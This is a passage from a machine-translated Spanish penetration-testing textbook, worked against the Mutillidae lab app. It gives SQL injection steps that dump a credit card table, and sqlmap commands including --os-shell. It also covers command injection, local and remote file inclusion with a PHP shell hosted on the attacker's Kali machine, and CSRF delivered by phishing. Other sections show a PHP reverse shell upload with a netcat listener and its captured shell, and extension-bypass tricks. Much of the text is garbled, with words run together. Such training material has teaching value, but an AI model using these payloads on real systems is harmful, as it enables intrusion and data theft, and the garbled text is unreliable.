Machine Translated by Google
Figura 8.16 Mutillidae–LoginSQLi
Recuerde que o 1=1 devolverá verdadero, y todo lo que siga se ignorará debido a los
caracteres de comentario (guiones dobles). Por lo tanto, si la base de datos devuelve una
afirmación verdadera , el usuario podrá iniciar sesión con el primer registro de usuario
seleccionado en la tabla, que es admin, como se muestra en la Figura 8.17. (Consulte la
Figura 8.14 para ver el primer registro).
Ejecutar comandos de base de datos mediante SQLi
En esta sección, aprovecharemos otra debilidad en las consultas SQL que nos permitirá
ejecutar comandos SQL. En el ejemplo anterior, vimos la combinación de la declaración OR
true y los comentarios que nos permitieron obtener una declaración verdadera. En esta
sección, usaremos el comando unionselect para consultar los datos que estamos buscando.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.17 Mutillidae–LoginSQLiResults
En la página Búsqueda de usuarios, ingrese los detalles que se muestran en la Figura 8.18.
Figura 8.18 Sintaxis de SQLi-UnionSelect
Una vez que haga clic en Ver detalles de la cuenta, recibirá el siguiente mensaje de error:
/var/www/html/mutillidae/classes/MySQLHandler.phponline224:Error al ejecutar la consulta:
connect_errno:0
número de error: 1222
error: Las sentencias SELECT usadas tienen un número diferente de columnas
info_cliente:mysqlnd7.4.3
host_info:127.0.0.1a través de TCP/IP
*
FROMcuentasWHEREusername=''unionselect1,2
'
-)Consulta:SELECTANDpassword='cualquier cosa'(0)[Excepción]
El mensaje nos dice que la tabla de cuentas que estamos tratando de usar en el
la base de datos tiene más de dos columnas. Generalmente, puede incrementar el número
hasta que ya no vea un mensaje de error. En nuestro ejemplo, vamos a hacer trampa
ya que sabemos que esta tabla tiene siete columnas ( consulte la Figura 8.11). Figura
Canal de Telegram : @IRFaraExam
Machine Translated by Google
8.19 muestra lo que sucede cuando ingresamos el número correcto de columnas.
Figura 8.19 SQLi : selección de unión
De acuerdo con el resultado, pudimos imprimir el número 2 en el campo de nombre de usuario, 3
en el campo de contraseña y 4 en el campo de Firma. En el siguiente paso, reemplazaremos el
número 2 por el comando VERSION() que mostrará el número de versión de la base de datos, como
se muestra en la Figura 8.20.
Figura 8.20 SQLi : selección de unión con versión de base de datos
Ahora que vio cómo funciona, es hora de pasar a un escenario más complejo. Usemos el
poder de SQL para consultar todos los nombres de tabla en la base de datos (los ejemplos usan
DBeaver para mayor claridad ) .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Hay una tabla interesante llamada nombres de tarjetas , por lo general es 'inspectcolumn'
de crédito. Esta vez, usaremos la tabla de columnas de esquema de información y
mostrar los valores de column_name donde el nombre de la tabla es igual a credit_cards
. Consulte la Figura 8.22.
Finalmente, vamos a volcar los datos de la tabla de tarjetas de crédito. Concatenar los resultados
usando la función concat y use 0x3A como un limitador. Vea la Figura 8.23 ( 0x3A es
equivalenttoacolon,:).
Figura 8.21 SchemaTable –CreditCardsField
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.22 CreditCardsTableQuery
Figura 8.23 Extraer datos de tabla de tarjetas de crédito
Ahora ya sabe cómo los piratas informáticos roban tarjetas de crédito de
los sitios web. Le insto a que no utilice este conocimiento de mala fe.
Figura 8.24 SQLQuery –WriteToSystem
Fue un buen intento, pero desafortunadamente, el sistema no nos permitió escribir en el disco.
SQLInjectionAutomationwithSQLMap
SQLMap es popular, por lo general, vea cómo usarlo en caso de que desee hacerlo rápidamente
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La mayoría de las veces, no uso SQLMap durante mis compromisos (lo uso en los desafíos de CTF), sino
que uso Burp ProScanner para encontrar vulnerabilidades de SQLi.
Los principios que acaba de aprender en la sección anterior son los que utilizo cuando pruebo la inyección de
SQL.
Rastrear las URL de la aplicación web para encontrar un enlace vulnerable:
$sqlmap-u[URL]--rastreo=1
Para averiguar si la inyección SQL es válida, configure:
$ sqlmap-u [URL] banner
Para seleccionar el nombre del servidor de la base de datos (p. ej., mysql ) durante las pruebas de
inyección de SQL, configure:
$ sqlmap [URL] - dbms [db]
Esto ayudará al escáner a inyectar los parámetros y caracteres correctos.
Si encuentra que el objetivo es vulnerable y desea enumerar las bases de datos, utilice:
$ sqlmap-u [URL] - dbs
Si desea listar las tablas dentro de una base de datos específica, configure:
$sqlmap-u[URL]–D[nombrebd]--tablas
Para volcar el contenido de una tabla (p. ej., tabla de usuarios), configure:
$sqlmap-u[URL]-D[nombrebd]-T[nombretabla]--dump
Intente obtener un shell de sistema operativo utilizando lo siguiente:
$sqlmap-u[URL]--os-shell
TestingforSQLInjection
¿Cómo sabe que una página es vulnerable a la inyección de SQL? Hay dos formas de hacerlo:
Intente inyectar una sola cita en la entrada de la página (URL, cuadro de texto, encabezado, etc.).
Si obtiene un error de SQL, entonces es vulnerable.
Trate de usar una herramienta automatizada (por ejemplo, BurpProScanner) para probar
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Inyección blindSQL. AblindSQLi no mostrará un mensaje de error, pero la página aún podría ser
vulnerable a esta falla. Si desea ejecutar esto manualmente, puede probar el método de tiempo
para retrasar el tiempo de carga de la página.
Probemos este enfoque en la página de búsqueda de usuarios de Mutillidae e insertemos un carácter
de comillas simples en el campo Nombre, como se muestra en la Figura 8.25.
Figura 8.25 Error de SQLi
Como puede ver, la página muestra un mensaje de error que nos dice que SQL
El servidor no entendió la siguiente consulta:
Seleccionar*desdecuentasdondenombredeusuario="ycontraseña="
CommandInjection
El concepto de inyección de comandos es simplemente ser capaz de ejecutar comandos a su gusto en
una página web. Cuando vea una página que ofrece la ejecución de comandos, entonces es su deber
probar si es vulnerable a esta falla.
Veamos un ejemplo práctico de inyección de comandos usando la aplicación web Mutillidae.
Seleccione Owasp2017ÿA1–Injection(Other)ÿCommandInjectionÿ DNSLookup.
Dado que esta página ejecutará un comando de búsqueda de DNS para mostrarle los resultados,
entonces es probable que sea vulnerable a esta falla. ¿Qué sucede realmente en el back-end cuando
ingresa una dirección IP?
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ejecutando el siguiente comando (con la dirección IP como variable de parámetro):
nslookup[dirección IP]
Si el desarrollador no validó el parámetro, podemos aprovecharlo. Nuestro objetivo es
hacer que el backend ejecute algo como lo siguiente (recuerde que && agregará varios
comandos al mismo tiempo):
nslookup[dirección IP]&&[comando del sistema operativo]
Para probar este enfoque, usemos el comando ls (vea la Figura 8.26) ya que la
aplicación web Mutillidae está almacenada en un servidor Linux.
Figura 8.26 Mutillidae: inyección de comandos
¿Qué sigue? Dado que nuestro comando ls de prueba de concepto se ha ejecutado correctamente,
ahora podemos reemplazarlo con un comando de shell remoto.
ArchivoInclusión
La inclusión de archivos se puede explotar apuntando a una ruta de archivo (local o
remotamente) usando la URL. Si el archivo es local en el servidor web, entonces lo
llamamos inclusión de archivo local , y si el archivo es remoto , entonces lo llamamos
inclusión de archivo remoto .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
LocalFileInclusionLocalFileInclusion
La inclusión de archivos locales (LFI) se explota mediante la inyección de una ruta de archivo en la
URL que apunta al servidor web local.
Considere que tenemos una aplicación web vulnerable que carga la página de inicio de la siguiente
manera:
http://[nombre de dominio]/home.asp?file=login.html
Como puede ver, la aplicación está usando la cadena de consulta del archivo para cargar la página
HTML de inicio de sesión. ¿Qué pasa si podemos cambiar eso con otra página en el sistema de archivos?
http://[nombre de dominio]/home.asp?file=../../../../etc/passwd
A ver si podemos aplicar el ejemplo anterior en la aplicación web Mutillidae. Cuando
visitemos la página de inicio, veremos la siguiente URL:
http://localhost/mutillidae/index.php?page=home.php
Eso es interesante porque la página está usando la variable de cadena de consulta para cargar
dinámicamente un archivo en el servidor ( que es home.php en este caso). Veamos si podemos
reemplazar el valor home.php con la ruta del archivo passwd (vea la Figura 8.27).
Figura 8.27 Mutillidae: extracción del archivo de contraseña
¡Increíble! Ahora es su turno de explotarlo. Más adelante en este libro, aprenderá la lista de archivos que
necesitará verificar en cada tipo de sistema operativo. Por el momento, concentrémonos en comprender
el concepto.
RemoteFileInclusionRemoteFileInclusion
La inclusión de archivos remotos (RFI) se aprovecha al poder cargar un archivo remoto
Canal de Telegram : @IRFaraExam
Machine Translated by Google
alojado en otro servidor web. Para lograr este objetivo, deberá poder cargar el archivo con algo
como esto:
http://[nombre de dominio]/page.php?file=[URL remota]/shell.php
Practiquemos el patrón anterior en la siguiente URL en Mutillidae:
http://localhost/mutillidae/index.php?page=arbitrary-file inclusion.php
Antes de explotarlo, necesitaremos hacer un cambio en el archivo php.ini en el servidor host. En
este caso, el archivo se encuentra en /etc/php/7.4/apache2/php.ini .
Abraelarchivoyasegúresedetenerlossiguientesvalores:
Allow_url_fopen=Activado
Allow_url_include=Activado
Una vez que localice estas dos variables, asegúrese de guardar el archivo. A continuación, reinicie
el servidor web:
$servicioapache2restart
En esta etapa, preparemos un script PHP que nos permitirá ejecutar el comando ls .
Podemos alojar el archivo PHP en nuestro host Kali (asegúrese de que el servidor web
esté instalado). Cree el archivo shell.txt en nuestro host Kali en la siguiente ruta: /var/www/
.
html/shell.txt
root@kali:~#cd/var/www/html/ root@kali:/
var/www/html#serviceapache2start root@kali:/var/www/
html#echo"<?phpechoshell_exec("ls");?> ">shell.txt
¡Increíble! Ahora podemos invocar este script de forma remota desde el servidor web de
Mutillidae (consulte la Figura 8.28):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.28 Mutillidae: inclusión de archivos remotos
KaliIP: 172.16.0.102
MutillidaeUbuntuHostIP: 172.16.0.107
En esta etapa, puede reemplazar el comando ls con el script de shell remoto que sea
compatible con el servidor remoto (p. ej., Python, Perl, etc.).
PROPINA
Ejecute el comando which para encontrar el shell compatible que desea ejecutar.
Por ejemplo, el comando which python le mostrará la ruta al ejecutable de
Python si está instalado en el servidor remoto.
Falsificación de solicitud entre sitios
La falsificación de solicitudes entre sitios (CSRF) se explota aprovechando la
sesión del usuario para ejecutar una solicitud de formulario POST en su
nombre. CSRF (pronunciado por algunas personas como “seasurf”) puede ser
efectivo en blogs o redes sociales, por ejemplo.
Antes de continuar con nuestro ejemplo, debe conocer los conceptos básicos para poder probar
una vulnerabilidad CSRF. Cuando un usuario se autentica en un sitio web, una cookie de sesión
Canal de Telegram : @IRFaraExam
Machine Translated by Google
se creará únicamente para esta persona. En segundo lugar, esta cookie de sesión
permanecerá activa hasta que caduque, incluso si cambia a otro sitio.
Para este ejemplo, usaremos, nuevamente, la página de blog de la aplicación web Mutillidae
(consulte la Figura 8.29):
http://[Dirección IP]/mutillidae/index.php?page=add-to-your-blog.php
Figura 8.29 MutillidaeBlogPage
Llevemos este ataque más lejos y visualicemos un escenario real. Elliot, el
atacante, quiere hackear a su víctima, Angela, de KCorp. Veamos la acción.
El escenario del atacante
Elliot analizará el contenido de la página e identificará que este blog es vulnerable a
CSRF. Luego, creará una página maliciosa para infectar a Angela. (Ellio está usando la
versión Pro de Burp, no la gratuita).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.30 BurpSuite : generar CSRFPoC
Una vez que haga clic en Generar CSRFPoC, aparecerá una ventana emergente. A continuación,
Elliot copiará el código generado utilizando el botón Copiar HTML, como se muestra en la Figura
8.31.
Luego, el atacante guardará el código HTML en un archivo en el servidor web de su
kalihost:
/var/www/html/csrf.html
En esta etapa, Elliot debe realizar un paso final. Enviará un correo electrónico de phishing a Angel
para convencerla de que visite el siguiente enlace:
http://[KaliIP]/csrf.html
Además, Elliot intentará asegurarse de que Angela abra la página de su blog en una
pestaña separada del navegador (recuerde que en el ataque CSRF necesitamos la sesión de
la víctima).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.31 BurpSuite : generar CSRFCopyHTML
El escenario de la víctima
Ahora es el momento de que Angel reciba el correo electrónico de
phishing y haga clic en el enlace. Una vez que lo haga, irá al servidor web
alojado de Kali y hará clic en el botón Enviar solicitud.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.32 CSRFPoCVíctima
Tenga en cuenta que Angela tiene la página de blog de Mutillidae ya abierta en la primera pestaña.
Una vez que haga clic en el botón, será redirigida a la página del blog con una nueva entrada de blog
sorpresa, que se muestra en la Figura 8.33.
Figura 8.33 CSRFPoCResultados
Carga de
archivos Las vulnerabilidades de carga de archivos se
aprovechan al poder cargar archivos maliciosos en el servidor
web de destino. En la práctica, el objetivo es poder cargar un
shell web que pueda ejecutarse en el servidor web de la
víctima. Los servidores web admiten más de un lenguaje de
programación.
SimpleFileUpload
En este ejemplo, utilizaremos Mutillidae para cargar un shell web de PHP, con el nivel de
seguridad establecido en cero (sin controles de seguridad). En otras palabras, deberíamos poder
cargar cualquier tipo de archivos en el servidor web.
Para comenzar, navegue hasta la página de carga de archivos en la aplicación web de Mutillidae, que se muestra
en la Figura 8.34:
http://[Dirección IP]/mutillidae/index.php?page=upload-file.php
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.34 MutillidaeFileUpload
En el host del atacante, copie el shell web de PHP que viene preinstalado en Kali:
root@kali:~#cp/usr/share/laudanum/php/php-reverse-shell.php/root/Documentos
A continuación, edite el archivo y asegúrese de incluir la dirección IP de cuatro hosts Kali y
el número de puerto en el que queremos escuchar:
$ip='172.16.0.102';//CAMBIA ESTO $puerto=2222;//
CAMBIA ESTO
Después de guardar el archivo, inicie un oyente usando netcat :
root@kali:~/Documentos#nc-nlvp2222
escuchando[cualquiera]2222…
En esta etapa, estamos listos para infectar el servidor de destino. Vuelva a la página de
carga del archivo Mutillidae e intente cargar el archivo webshell.
¡Genial! A continuación, cambie la URL y apunte al nuevo archivo PHP:
http://[Dirección IP]/mutillidae/index.php?page=/tmp/php-reverse shell.php
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.35 Mutillidae–FileUploadResults
Una vez que lleguemos a la URL maliciosa, regrese a la ventana del terminal y verá
tenemos un caparazón remoto:
root@kali:~/Documentos#nc-nlvp2222
escuchando[cualquiera]2222…
conectarse a [172.16.0.102] desde (DESCONOCIDO) [172.16.0.107] 57374
Linuxubuntu5.4.0-40-generic#44-UbuntuSMPTueJun2300:01:04UTC2020x86_64x86_64x86_64GNU/
Linux
09:48:20up6days,18:30,1user,loadaverage:0.00,0.00,0.00
TTY
USERFROM03Jul20?xdm?
INICIAR SESIÓN @ IDLEJCPUPPCPUWHAT
:0
:0 48:230.00sgus/usr/lib/gdm3/gdm-x-session--runscriptenvGNOME_SHELL_SESSION_MODE=ubuntu/usr/bin/gnomesession--systemd-sesión=ubuntu
uid = 33 (www-datos) gid = 33 (www-datos) grupos = 33 (www-datos)
/bin/sh:0: no se puede acceder a tty; control de trabajo desactivado
$ por persona
/
PS
OmitiendoValidación
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Inthepreviousexample, wehadzeroprotection, andthePHPreverseshellwas
uploadedsuccessfully.Therearemultiplewaystohardenthefileupload, y
therearemultipleotherstobypassthisprotection.Inthisexample, youwillsee
howtohackaroundthefileextensionprotection.Inthiscase, thedeveloperwill
beblockingunwantedextensionstobeuploaded.Forexample, onlyimagesare
allowedtobeuploaded.Ifthat'sthecase, allweneedistointercepttherequest inBurpSuite (ver Figure8.36)
andmaketheappropriatechanges.Wewilluse thesameuploadpageinMutillidae, butthistime, image.Atthisstage
wewilluploadanormal , no queremos que la validación de JavaScript impida cargar nuestro shell.
Figura 8.36 Carga de archivo de datos POST A
continuación, realizaremos los siguientes cambios en la solicitud web anterior, como se muestra en la
Figura 8.37:
1. Cambie el nombre del archivo de photo.png a photo.php.png .
2.Asegúrese de que el tipo de contenido permanezca como image/png .
3. Cambiar el contenido de la imagen a nuestra carga simple de PHP.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.37 FileUploadPostDataPayloads
FileRename
Las aplicaciones verifican el valor de la extensión del archivo para impedir que las
personas carguen algo como archivos shell.php . En el ejemplo anterior, dejamos el
de validación.
final e insertamos el .php antes para que la extensión del método
Un servidor web Apache permitirá que se ejecute una extensión doble (por ejemplo,
shell.php.png ).
En IIS6 (y también en las versiones anteriores), puede agregar este punto y
coma antes de la extensión final (por ejemplo, shell.asp;.png ).
Puede eludir las reglas que distinguen entre mayúsculas y minúsculas mediante la manipulación de las mayúsculas y minúsculas
del carácter de extensión. Estos son algunos ejemplos:
Shell.pHP
Shell.php3
Shell.ASP
Otro truco es agregar bytes nulos (00 en hexadecimal) antes de la extensión final. Por
ejemplo, use shell.php%00.png .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
PROPINA
Para realizar cambios hexadecimales en sus solicitudes web, puede usar la subpestaña
Hexadecimal en la ventana Intercepción en Burp Suite (consulte la Figura 8.38).
Figura 8.38 BurpSuite –InterceptHexTab
Tipo de contenido
El tipo de contenido es otro factor importante al cargar un archivo en un servidor remoto. El
desarrollador probablemente podría haber agregado una validación en el front-end/back-end para
verificar el tipo de contenido del archivo. Siempre asegúrese de que el tipo de contenido coincida
con el tipo de archivo que el servidor espera.
Contenido de la carga útil
Mire de cerca el comienzo de la carga útil que usamos en nuestro ejemplo (vea la Figura 8.37),
que se muestra aquí:
GIF89a;
<?phpsystem('ls-la');?>
Probablemente se esté preguntando: “¿Qué es el GIF89a; ¿para?” Esta es una firma de
encabezado que engañará al servidor para que piense que nuestro archivo es una imagen
legítima. Pruebe nuestra idea, guarde la carga útil en un archivo de texto, asígnele el nombre
payload.txt y verifique su tipo usando el comando de archivo :
root@ubuntu:~#filepayload.txtpayload.txt:GIFimagedata,version89a,2619x16188
Codificación
En algunas situaciones, encontrará algunos sitios web que tienen algunas protecciones
básicas en el backend que bloquearán los caracteres no deseados (para cargas, XSS, inyección
de comandos, etc.). Si ese es el caso, intente usar codificación.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
es una forma, luego use la codificación HTML. Para que esto suceda, nuestro amigo Burp
Suite viene a otro rescate porque hay una pestaña Decodificador dedicada para este
propósito, como se muestra en la Figura 8.39.
Figura 8.39 Codificación de BurpSuite
OWASPTop10
Hasta ahora, ha visto las vulnerabilidades web más comunes. OpenWeb Application
Security Project (OWASP) es una organización sin fines de lucro que se dedica a
ayudar a empresas e individuos en los desafíos de seguridad de las aplicaciones.
Visite owasp.org.
El OWASP ha categorizado las 10 vulnerabilidades web más críticas e importantes
y las ha denominado OWASP Top 10. Consulte owasp.org/www project-top-ten/.
Tenga en cuenta que esta lista siempre está cambiando, y la organización OWASP está
trabajando de cerca con la comunidad para mantenerla actualizada:
1. Inyección. Esto incluye todo tipo de inyecciones.
SQLi
comandoinyección
LDAPinyección
inyección HTML
Carroretornolíneaalimentacióninyección
Y mucho más
2. Autenticación y gestión de sesiones inválidas. En esta categoría, el
lo más probable es que el atacante utilice lo siguiente:
Omisión de autenticación
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Escalada de privilegios
3. Exposición de datos confidenciales.
datos/recursos.
4.Entidades externas XML (XXE). Esta debilidad se aprovecha cuando la aplicación
utiliza XML para evaluar las referencias externas.
5. Control de acceso roto. Estas fallas se explotan atacando el
debilidad de autorización de un sitio web.
6. Configuración incorrecta de la seguridad. Una configuración incorrecta del sitio web, como dejar el
nombre de usuario y la contraseña predeterminados, permitirá que el atacante la aproveche.
7. Crossÿsite scripting. Existen tres tipos principales de XSS.
reflejado
almacenado
DOM (se aprovecha mediante la manipulación del código JavaScript en la
página web)
8.Serialización no segura.Esta falla se aprovecha cuando el sitio web implementa
deficientemente esta serialización/deserialización dentro de una página web.
9. Uso de componentes con vulnerabilidades conocidas. Esta falla cubre el front-end (p. ej.,
jQuery) y las bibliotecas de back-end (p. ej., PHPloglibraries).
10.Registroysupervisióninsuficientes.
Resumen
En este capítulo, aprendió sobre las vulnerabilidades más populares de las
aplicaciones web. Puede profundizar en este tema utilizando otros libros dedicados a la seguridad
de las aplicaciones.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 9
Pruebas de penetración web y software seguro
Ciclo de vida de desarrollo
Este tema merece un capítulo por sí mismo debido a su importancia. Hoy en día, la mayoría
de las empresas tienen un sitio web o un portal de aplicaciones web que genera ganancias.
En este capítulo, aprenderá principalmente sobre la metodología de las pruebas de penetración de
aplicaciones web y cómo usar BurpSuite Proedition.
En el capítulo anterior, aprendió sobre las vulnerabilidades web más comunes que encontrará en
sus compromisos. Lo animo a profundizar en el tema explorando otras referencias (libros de
seguridad de aplicaciones, cursos en línea y el sitio web de OWASP) para comprender el resto de
las fallas (por ejemplo, falsificación de solicitud del lado del servidor, redirección abierta y mucho
más).
Este capitulo cubre los siguientes topicos:
WebpetestingusandoBurpSuitePro
Herramientas de enumeración de aplicaciones web
Webaplicaciónmanualpentestchecklist
Ciclo de vida de desarrollo de software seguro
WebEnumerationandExploitation
Burp Suite es una excelente herramienta para tener en su repertorio. Le permite encontrar
toneladas de vulnerabilidades de aplicaciones web, y si quiere ser un probador de penetración
web/cazador de recompensas de errores, entonces esta herramienta es imprescindible. Esta
sección cubre la edición profesional de Burp Suite, que no es gratuita.
BurpSuite Pro
Para resumir esta herramienta en una sola frase, Burp Suite le permite usar el proxy para
interceptar y modificar las solicitudes y respuestas web. Esta herramienta puede analizar
vulnerabilidades basadas en aplicaciones web y mucho más (no es solo una herramienta; está fuera).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
NOTA
La empresa que creó Burp Suite se llama Port Swigger. Burp Suite viene en
tres sabores:
Community edition, que está preinstalada en Kali
Edición profesional, que admite todas las funciones de prueba manual
web y cuesta $ 399 USD por año
Edición Enterprise, un escáner automatizado que puede integrarse en
la tubería de CI/CD (DevOps) y cuesta $ 3,999 USD por año
WebPentestUsandoBurpSuite No hay
nada mejor que un ejemplo práctico de prueba de penetración para mostrarle todas las
funcionalidades dentro de BurpSuite Pro. En este ejemplo, aprenderá lo siguiente:
CómoejecutarBurpSuitePro
entenderelproxy
Cómousarlapestañaobjetivo
entenderelrepetidor
Cómo usar el intruso
UtilizetheExtenderappstore
Carga de BurpSuite Pro Para
este ejemplo, usaremos la aplicación web Mutillidae y la escanearemos con Burp. Para
iniciar esta herramienta, descargue el archivo JAR para la edición Pro desde su cuenta
en portswigger.net/. Para ejecutar la herramienta, use el siguiente comando:
$java–jar[nombrearchivoburpsuite.jar]
Una vez que haya iniciado Burpha, encontrará dos ventanas que le permitirán hacer lo
siguiente:
Guardeelproyectoendiscoantesdecomenzar
Crearunproyectotemporalsinguardarendisco
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Abrirunproyectoguardadoexistente
Cargue un archivo de configuración personalizado guardado de BurpSuite
Antes de cambiar a un navegador, haga clic en la pestaña Proxy y haga clic en el botón Intercept
Is On para desactivar el interceptor. Tenga en cuenta que Burp seguirá escuchando las
solicitudes/respuestas web en el backend.
En su navegador web, asegúrese de cambiar los siguientes elementos:
1. Cambie la configuración del navegador y establezca el proxy en el puerto 8080
(explicamos cómo hacerlo en el Capítulo 6, “Fase de enumeración avanzada”).
2. Asegúrese de que el navegador contenga el certificado HTTPS de BurpSuite. Debe
confiar en este certificado para interceptar la comunicación HTTPS.
Figura 9.1 Certificado de BurpSuite
Una vez que haya descargado el certificado, abra su navegador y seleccione
PreferenciasÿPrivacidad y seguridadÿCertificadosÿVer certificadosÿImportar.
Cuando haga clic en Importar, le pedirá que elija el archivo de certificado (que se encuentra en
su carpeta de Descargas). A continuación, asegúrese de seleccionar las dos casillas de
verificación (consulte la Figura 9.2) para confiar en el certificado de CA cargado;
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.2 Importación del certificado de BurpSuite
Burp Proxy
Cuando inicie Burp Suite, tenga en cuenta lo siguiente:
El botón de intercepción está seleccionado de forma predeterminada, por lo que deberá
desactivarlo a menos que desee detener todas las solicitudes/respuestas al servidor web.
En la sección Opciones (consulte la Figura 9.3), normalmente cambiará tres configuraciones.
Cambio del número de puerto de escucha (de forma predeterminada, es 8080)
Interceptar las solicitudes web (está habilitado de manera predeterminada)
Interceptar las respuestas web que regresan del servidor (de manera predeterminada, está
deshabilitado)
Figura 9.3 Ficha Proxy de BurpSuite , sección Opciones
Pestaña Destino
Ahora es el momento de comenzar a explorar todas las páginas web en la aplicación Mutillidae
mientras el botón de intercepción está desactivado. Una vez que termine, haga clic en la pestaña
Destino para visualizar el nombre de dominio que está intentando probar.
En la subpestaña Mapa del sitio, puede ver que Burp Suite ha detectado la estructura de Mutillidae
(consulte la Figura 9.4). Enestasecciónpuedesvisualizarestesitio
Canal de Telegram : @IRFaraExam
Machine Translated by Google
elementos: páginas HTML, imágenes, carpetas, JavaScript, etc. A
continuación, en el lado izquierdo, puede seleccionar las entradas del
historial para leer los detalles de la solicitud/respuesta debajo (en las
ventanas donde ve las pestañas Solicitud y Respuesta).
Figura 9.4 Objetivo de BurpSuite
En esta etapa, configure Burp Suite para incluir Mutillidae en el alcance;
en otras palabras, no desea que TIT escanee los otros dominios
detectados previamente . y luego haga clic en el elemento de menú
AddToScope (vea la Figura 9.5).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.5 BurpSuiteAddToScopeOption
A continuación, haga clic en el botón de filtro (donde está el texto "Filtro: Ocultar elementos no
encontrados...") y seleccione la casilla de verificación Mostrar solo elementos dentro del alcance (consulte la Figura 9.6).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.6 BurpSuiteIn ÿScopeFilter
Para ocultar esta pantalla, simplemente haga clic en cualquier lugar fuera de ella y verá que todos los
elementos fuera del alcance desaparecen (consulte la Figura 9.7) de la pestaña Mapa del sitio (solo
permanecerán Mutillidae).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.7 BurpSuiteIn ÿScopeFilterApplied
Enumeración de los elementos del sitio (Spidering/ContentsDiscovery)
Antes de comenzar esta sección, debe saber que Burp Suite necesita mucha memoria
para ejecutarse, o de lo contrario terminará con errores de tiempo de ejecución en medio de
su participación.
En esta etapa, BurpSuite ya ha encontrado algunos elementos durante
nuestra exploración manual (están atenuados). A continuación, ejecute
Descubrir contenido para buscar más elementos.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.8 BurpSuiteDiscoverContentMenuItem
Una vez abierta la ventana de descubrimiento de contenido, haga clic en la pestaña Configuración
para agregar las configuraciones adecuadas. En esta sección, establezca la profundidad máxima de
los subdirectorios en 2 para finalizar la tarea más rápido.
Profundidad máxima: 5
Número de subprocesos de descubrimiento: 4
Número de hilos de araña: 4
A continuación, seleccione la ficha Control y haga clic en La sesión no se está ejecutando para ejecutar Burp
Suite (consulte la Figura 9.9).
Esta tarea tardará algunas horas en completarse (según la estructura del sitio web). Cuando ya
no haya más tareas en cola, haga clic en el botón Sesión en ejecución para detener el rastreo y volver a la
pestaña Mapa del sitio para inspeccionar los resultados.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Escaneo automatizado de vulnerabilidades
Ahora es el momento de comenzar a encontrar algunas vulnerabilidades
en Mutillidae.BurpSuitePro tiene un escáner interno que puede encontrar
fallas .
Figura 9.9 BurpSuiteEjecuciónDiscoverContentFeature
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 9.10 BurpSuiteActiveScan
La pestaña
Repetidor Esta pestaña es útil cuando desea inyectar manualmente una
carga útil antes de enviarla a un servidor web. La carga útil puede ser
cualquier tipo de entrada que elija, por lo que puede intentar verificar cómo
responderá el servidor web.
Figura 9.11 BurpSuiteSendToRepeaterMenuItem
Una vez que la solicitud esté en la pestaña Repetidor, puede
manipularla de la forma que desee. En este ejemplo, cambiaremos el
valor de UID a 1 en el encabezado de la cookie y observaremos la respuesta.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
indique que ha iniciado sesión como administrador (consulte la figura 9.12).
Figura 9.12 Cambio del parámetro UID
La pestaña del intruso
LapestañaIntrusolepermitefuzzearyautomatizarlassolicitudeswebenviadasalservidorweb.Haymuchastareasquepuederealizarcone
Enumeración de nombres de usuario
Enumeración de cualquier tipo de UID (por ejemplo, ID de cuenta, ID de producto, ID de empleado, etc.)
Rastreo manual (para encontrar páginas web, directorios, archivos, etc.)
Fuzzing para encontrar fallas (por ejemplo, SQLi, XSS, LFI, etc.)
Ahora que sabe lo que puede hacer con la pestaña Intruso, el próximo desafío es comprender los tipos de
ataque:
Francotirador: este tipo de ataque se usa con una carga útil. Hay muchos ejemplos prácticos que se
pueden usar con el método de francotirador (por ejemplo, enumerar nombres de usuario, UID, buscar
archivos/directorios, etc.).
Ariete : este tipo de ataque le permitirá usar una carga útil. En el tipo de ariete, puede insertar la
misma carga útil en varias áreas de la solicitud web (por ejemplo, insertar la misma carga útil en la
URL y el encabezado de la solicitud web también).
Bomba de racimo: este tipo le permitirá insertar varias bombas no relacionadas
Canal de Telegram : @IRFaraExam
Machine Translated by Google
cargas útiles en la solicitud web (máximo 20). Un buen ejemplo es la fuerza bruta de
la página de inicio de sesión; en este escenario, deberá insertar dos cargas útiles
diferentes: una para el nombre de usuario y otra para la contraseña.
Pitchfork: Este le permitirá insertar varias cargas útiles relacionadas en la
solicitud web (rara vez he usado este tipo de ataque). Un ejemplo práctico es
confundir el nombre del empleado y su interfaz de usuario asociada en otro campo.
Veamos, juntos, un ejemplo práctico para aplicar fuerza bruta a la
página de inicio de sesión de Mutillidae mediante la pestaña Intruso de
BurpSuite .
menú.
En la pestaña Intruso, asegúrese de que la sub pestaña Posiciones esté seleccionada (consulte la Figura 9.13).
Figura 9.13 Subpestaña BurpSuiteIntruderPositions
Pordefecto, thesniperattacktypeisselected, andBurpSuitealreadyidentified
theinsertionpoints.Forthisexample, bruta forcetheadminusername (estática)
andloadthepasswordfromadictionaryfile (variablepayload) .Inotherwords,
youwillneedonlyonepayload, whichisthepasswordvalue.Next, choosethe
Sniperattacktype (keepitbecauseit'salreadyselected) andclickClearto
removealltheinsertionpoints.Toselectyourpayload, resalte la
password123valueandclickAddtoinsertyourvariable (ver Figure9.14).
